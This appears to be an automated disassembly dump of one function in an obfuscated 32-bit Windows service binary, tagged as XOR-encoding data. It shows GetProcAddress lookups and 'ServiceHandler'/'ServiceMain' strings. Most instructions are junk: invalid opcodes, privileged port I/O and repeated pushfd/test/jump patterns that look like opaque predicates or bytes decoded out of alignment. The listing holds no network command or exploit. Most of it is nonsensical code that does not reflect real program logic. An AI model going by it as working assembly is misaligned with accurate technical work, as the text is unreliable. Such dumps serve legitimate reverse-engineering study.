Function at 0x100bd990
Capabilities:
Encode data using xor

Disassembly:
or al, 0x9c
push ebp
mov ebp, esp
mov eax, dword [0x10172dcc]
push esi
test eax, eax
pushfd
test byte [0x100bd9e4], 0x97
jne 0x100bd9e5
xchg esp, eax
sbb al, 0xdf
lds eax, [edx - 0x4b]
cmp byte [ebx - 0x79], bl
sub esp, eax
loopne 0x100bd951
xor eax, 0x73cdbd53
int3
popfd
je 0x100bdd21
push 0x10148760
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.Entering_ServiceHandler
push 0
push 3
mov esi, eax
pushfd
test byte [0x100bdac6], 0x23
je 0x100bdac7
mov dl, 0xa
mov dh, 0xd4
add esi, dword [esi + 0x14]
daa
lodsd eax, dword [esi]
adc al, 0xcd
sub ax, 0xfe55
stosd dword es:[edi], eax
insb byte es:[edi], dx
leave
xchg ebp, eax
sub eax, 0xef2ff895
cmpsb byte [esi], byte es:[edi]
xchg edx, eax
push ds
cmpsb byte [esi], byte es:[edi]
mov ecx, 0xe523bf55
push edi
adc dword [eax], esp
xchg ebx, eax
mov al, 3
pop ebx
xor al, 0x49
or byte [ecx + 0x3b1bae78], 0xc0
push ds
lds esp, [esi]
test ecx, 0xf02ebf3a
inc edi
cli
jecxz 0x100bda66
cmp eax, 0x15ebaa15
das
cmp dl, byte [eax]
mov al, byte [0x7a480e66]
rcl ebp, cl
xor al, 0x86
in al, dx
jne 0x100bdaa9
add ch, byte fs:[eax - 0x6a39c94b]
sbb al, 0x94
arpl word [ebp - 0x12], si
mov ebp, 0x87891434
movsb byte es:[edi], byte [esi]
push ds
pop ecx
push 0xfb065dfb
dec edx
cmpsb byte [esi], byte es:[edi]
push dword [ebx + 0x53d0ee61]
mov dh, 0x50
dec esi
push esp
sub eax, 0x1dfa0ae0
mov ebp, 0x50ac3b3a
pop esi
mov ah, 0xbc
pushfd
add al, 0x98
adc cl, dl
add ecx, dword [edx]
push cs
cli
inc edi
out dx, al
out dx, al
jnp 0x100bda61
test al, 0xb5
invalid
mov byte [ecx + 0x51], dh
sub byte [ebx - 0x323b1b80], dh
dec esp
and ah, 0xc4
int 0x4c
mov esi, 0xc44ed7d8
cmp bl, byte [esi]
rcl dword [edi + 0x67f8a5fa], cl
xchg byte [edi - 0x30], bl
xor dl, byte [esi]
int1
sbb byte [ecx + edi*8], al
or esi, 0xffffffcc
popfd
call fcn.10049c0c
pushfd
test byte [0x100bdb0d], 0x6e
jne 0x100bdb0e
xchg esp, eax
inc edi
idiv cl
mov bl, 0xcc
test byte [ebp - 0x7ef1f448], ah
out dx, eax
or al, 0x92
mov dword [edx - 0x6a705f90], 0x5ce0290b
sti
sub dword fs:[0x21ff18b6], esp
mov edi, 0xb88863a1
adc byte [ebp + 0x7b03ce1f], al
scasb al, byte es:[edi]
cld
sub al, 0xc6
jns 0x100bdb42
lodsd eax, dword [esi]
enter 0xfffffffffffffcdc, 0xffffffffffffffc5
popfd
add esp, 0xc
test esi, esi
je 0x100bdd21
push dword [ebp + 0x14]
pushfd
test byte [0x100bdbc7], 0x90
je 0x100bdbc8
and edi, ebx
fidiv word [edx + 0x6fd701b1]
mov dword [edx - 0x2c728917], 0x43145613
test byte [edx - 0x55], 0x8c
insd dword es:[edi], dx
insd dword es:[edi], dx
clc
sbb ecx, esp
cmpsb byte [esi], byte es:[edi]
mov esp, 0x5023ff6f
push eax
dec ebx
pop esi
xchg ebp, eax
mov dword [0xb6a920a2], eax
sti
les eax, [0x57b02d0]
cli
test eax, 0xe30631a5
inc ebx
shr al, 0xab
lodsd eax, dword [esi]
mov dh, 0xd1
xchg dword [ecx], ecx
mov eax, dword [0x61a289a6]
xchg ecx, eax
out 0x60, eax
js 0x100bdaf8
insd dword es:[edi], dx
or esp, dword [eax]
cmp al, 0xa5
mov al, 0x1d
xchg ebp, eax
and ebx, dword [ecx]
popfd
popfd
pop ebp
adc byte [edx + 0x48], dh
and byte [edi], dh
stc
fstp dword [edi + 0x4a1936fa]
jae 0x100bdbff
cli
sbb dword ss:[edx + 0x73], ecx
insb byte es:[edi], dx
and esi, dword [edx + esi*8 - 0x47c8d5e]
cmp eax, 0x69184f9e
jnp 0x100bdb3d
scasb al, byte es:[edi]
fdivp st(0)
fbstp tbyte [esp + esi*4 + 0x3c]
mov ah, 0x3c
loop 0x100bdc0f
adc bl, ah
jo 0x100bdb47
jo 0x100bdb47
xor byte [ebp - 0x80], bh
pop ebp
mov bh, ch
ja 0x100bdbad
mul bl
jecxz 0x100bdc37
jle 0x100bdb4c
xchg edx, eax
push esp
add byte [eax], bh
insd dword es:[edi], dx
cmp al, 0xc9
dec ecx
das
push esi
jb 0x100bdba6
out dx, al
jno 0x100bdc0e
popfd
push dword [ebp + 0x10]
push dword [ebp + 0xc]
pushfd
test byte [0x100bdc3f], 0xc2
jne 0x100bdc40
jb 0x100bdc3a
call 0x4f109281
xor ecx, dword [esi - 0x4f]
pop ds
das
push ebx
out 0x1c, eax
int3
mov edi, 0x7779e04f
ja 0x100bdbb6
lodsb al, byte [esi]
cld
jge 0x100bdb8d
pop es
sub al, 0xea
add dh, 0xf4
scasb al, byte es:[edi]
out dx, al
ja 0x100bdbb8
invalid
hlt
push eax
push 7
inc esi
outsd dx, dword [esi]
xor dl, dh
and edx, edi
pop edi
sub eax, 0x21666f46
lodsb al, byte [esi]
xchg ebp, eax
add al, 0xef
lodsb al, byte [esi]
xchg byte [esi - 0x17c63267], dl
insd dword es:[edi], dx
cmovp ebp, dword [ebx]
jge 0x100bdc4d
dec eax
mov cl, dl
bound ebx, qword [eax - 0x44]
rcl byte [esi + 0x5b270d68]
popfd
push dword [ebp + 8]
call esi
jmp 0x100bdd24
add eax, 0x100bdd1f
scasb al, byte es:[edi]
jne 0x100bdd20
stosd dword es:[edi], eax
inc esi
push esp
push esp
movsb byte es:[edi], byte [esi]
in eax, 0x61
mov edi, 0x1df76197
out 0x1f, al
test al, 0xa0
mov cl, 0xce
das
outsd dx, dword [esi]
loopne 0x100bdc67
pop ds
cmp edi, dword [edx]
sal cl, cl
pop es
and ah, dh
inc edi
mov dh, 0x89
and cl, byte [esi + ecx*2 - 0x7f]
xchg esp, eax
fisubr dword [ecx]
aad 0x7e
shr byte [ecx + 0x21], 0x89
dec esi
or dword [ecx + ecx + 0x51068e1a], ebp
and eax, 0x16992e62
or byte [eax + 0x6f], ah
pushal
and edx, ebp
inc esi
inc esi
lahf
lodsb al, byte [esi]
xor al, 0xc6
sbb al, 0x3f
or byte [edi + 0x14], ch
or edi, dword [ebp - 0x31b5fec7]
inc edx
lodsd eax, dword [esi]
cmp eax, 0x8eb0223e
dec ebx
and eax, 0x857aa9dd
sar dword [edx + 0x7c95bb25], cl
sahf
add al, 0xd3
cmp dword [0x18b62d0], 0xf
mov esp, esp
jmp dword [ebx - 0x11fddc81]
mov edi, 0xff099740
sbb al, byte [edi]
cmc
imul esp, dword [ecx - 0x4c], 0xffffffcd
stc
pop ds
add dword [edi + 0x10], 0xf94d6990
notrack call 0x834dc195
push ds
sub ah, byte [ebp + edx*8 + 0x16cc590]
fild qword [ecx + 1]
xor dword [ebx + 0xfc838cf], esp
mov esp, 0x7bf1f341
lea ebx, [edi + 0x53154bc0]
mov ch, 0x53
dec edi
add dword [ebx + 0x14], edx
lahf
rcr dword [ecx], 1
pop es
and esp, esp
jle 0x100bdcdb
popfd
or eax, 0xffffffff
pop esi
pop ebp
pushfd
test byte [0x100bdd76], 0xd4
adc ah, dl
jne 0x100bdd77
cmp ebx, dword [esi]
sbb al, 0x68
xor ebp, ebx
jecxz 0x100bdce9
add esi, dword [eax + ecx*8 - 0x2bbd1ab7]
in al, dx
push esp
rcl esp, 0x65
inc ebx
mov gs, word [edx]
salc
dec edx
outsb dx, byte [esi]
test dword [edx], ebx
xchg edx, eax
cdq
inc eax
cld
outsb dx, byte [esi]
jg 0x100bdd2c
pop edi
stosb byte es:[edi], al
ficom dword [edx]
movsb byte es:[edi], byte [esi]
popfd
mov fs, word [edx - 0x64]
xor ebx, edx
or bl, byte [ebx - 0x25]
in al, 0xcd
sbb eax, 0x45211902
cmp byte [edx - 0x4c], al
sar byte [esp + ecx*2], 1
sub al, 0xd9
jge 0x100bddb4
sbb al, 0xba
popfd
ret 0x10
adc al, 0x10
push str.Entering_ServiceMain
pushfd
test byte [0x100bde57], 0xb4
jne 0x100bde58
add byte [edi + 0x281e0f20], 0x25
mov dword [0xe7a71bc3], eax
sbb bl, byte [esi]
adc dword [ebx - 0x1b65bcde], edi
out 0x77, eax
enter 0xfffffffffffff42b, 0x7c
test byte [esi + esi*2 + 0x69ae6ad1], ah
rcl dword [edx], cl
mov eax, dword [0x63cd0109]
xor dword [ecx + 0x57f7143e], ebp
push 0x2d
adc al, 0x37
sub dl, byte [ebp + 0x1202e683]
test dword [ebp - 0x53], edx
jo 0x100bddfa
mov esi, 0x358e6d00
push edx
adc dword [ebx + 0x6e0fa348], 0x39
push 0x3a
add eax, 0xc856e1da
aad 0x71
jg 0x100bde7f
xchg byte [ecx], cl
imul ebx, dword [ebp - 0x87d76df], 0x1c9e1d89
popal
cmpsd dword [esi], dword es:[edi]
mov byte [esi], dh
dec edx
sub byte [edi - 0x6a42bd26], dh
push ds
pop ss
aas
insb byte es:[edi], dx
out 0xd9, al
int1
inc ecx
scasd eax, dword es:[edi]
add al, 0xed
outsd dx, dword [esi]
and al, 0xa4
jne 0x100bde6d
xchg dword [ecx + 0x7f2facde], esi
xchg ecx, eax
push edi
call 0xb475ef86
pop edi
inc edi
sub byte [ebp - 0x3f], al
popfd
push 0
push 3
mov esi, eax
call fcn.10049c0c
add esp, 0xc
test esi, esi
je 0x100bde7b
push dword [ebp + 0x14]
push dword [ebp + 0x10]
adc al, 0xff
jne 0x100bde81
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
jmp 0x100bde7e
or eax, 0xffffffff
pop esi
pop ebp
ret 0x10
adc byte [eax], al